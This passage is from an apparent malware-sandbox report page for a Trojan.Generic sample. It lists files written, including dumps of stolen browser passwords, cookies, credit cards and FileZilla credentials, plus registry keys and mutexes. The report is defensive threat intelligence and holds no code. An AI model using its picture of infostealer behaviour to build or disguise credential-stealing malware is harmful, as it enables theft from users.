ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Chromium_cookies_okPoT2r0VxGKNXT_2026-02-23_17.36.01.json","sha256":"8561fa2ec7635916a7f6161413989d8c1806bf524d6556037074e84b795b28ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"FileZilla_okPoT2r0VxGKNXT_2026-02-23_17.38.53.txt","sha256":"29cae9128e3ba3870739f45cb775d75cf8565af30da25c67830c5b26234fee65","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Gecko_cookies_okPoT2r0VxGKNXT_2026-02-23_17.38.42.json","sha256":"ba0e9cfe28f56666d9a641a75ba9c8fc24d700cd923b0b43f8bbeec8ab5dee07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"__PSScriptPolicyTest_gxa4plko.zaj.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%PUBLIC%\\FieldBuilding.bat","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%USERPROFILE%\\aoc.bat","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_k1fbvpen.52z.ps1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fya3b455.tt3.psm1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_x4vqxuu2.sy5.ps1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1f3jov3m.icd.psm1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%APPDATA%\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\Chromium_passwords_PREGjB55ZdRvb6m_2025-10-11_20.43.41.txt","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\Chromium_credit_cards_PREGjB55ZdRvb6m_2025-10-11_20.43.41.txt","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\Gecko_passwords_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\Gecko_cookies_PREGjB55ZdRvb6m_2025-10-11_20.46.20.json","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\Gecko_credit_cards_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"%TEMP%\\5801ecc3ac68f7ef104796fdde53a902\\FileZilla_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_0ebimrl4.s0l.ps1","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_kywnlxjb.0sx.psm1","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_4njm2nfg.iiv.ps1","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_gxa4plko.zaj.psm1","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\Chromium_passwords_okPoT2r0VxGKNXT_2026-02-23_17.36.01.txt","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\Chromium_cookies_okPoT2r0VxGKNXT_2026-02-23_17.36.01.json","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\Chromium_credit_cards_okPoT2r0VxGKNXT_2026-02-23_17.36.01.txt","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\Gecko_passwords_okPoT2r0VxGKNXT_2026-02-23_17.38.42.txt","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\Gecko_cookies_okPoT2r0VxGKNXT_2026-02-23_17.38.42.json","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\Gecko_credit_cards_okPoT2r0VxGKNXT_2026-02-23_17.38.42.txt","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"path":"%TEMP%\\9479e6bdf30b1849ea28ed64bd3ba2a5\\FileZilla_okPoT2r0VxGKNXT_2026-02-23_17.38.53.txt","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\SMARTCARDROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\FLIGHTROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TESTSIGNROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5700:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\SM0:5700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"SM0:5700:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:524:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\SM0:524:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8436:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\SM0:8436:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3800:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\SM0:3800:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5280:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5280:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"D43PRY2TZX7ST4O73OZU","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:5280:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"SM0:5280:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\SM0:5280:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\D43PRY2TZX7ST4O73OZU","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7708:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7708:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"Local\\SM0:7708:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"SM0:7708:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"Local\\SM0:8152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"SM0:8152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"SM0:8152:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8152:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4640:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4640:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:4640:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"SM0:4640:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4536:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:4536:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:5788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:3328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:1064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Local\\SM0:1064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"SM0:1064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}]}},"report_ids":{"sandbox_job_ids":["699c8e92c2c3e51b0809ddf4","68e8a1339296a742440ab48a","68eac00381611856270afe4a"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 0cf3d7eaea22… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0cf3d7eaea22…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 11 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 0cf3d7eaea22… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0cf3d7eaea22…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 11 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 0cf3d7eaea22… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0cf3d7eaea22…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 11 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L65","11",{}]]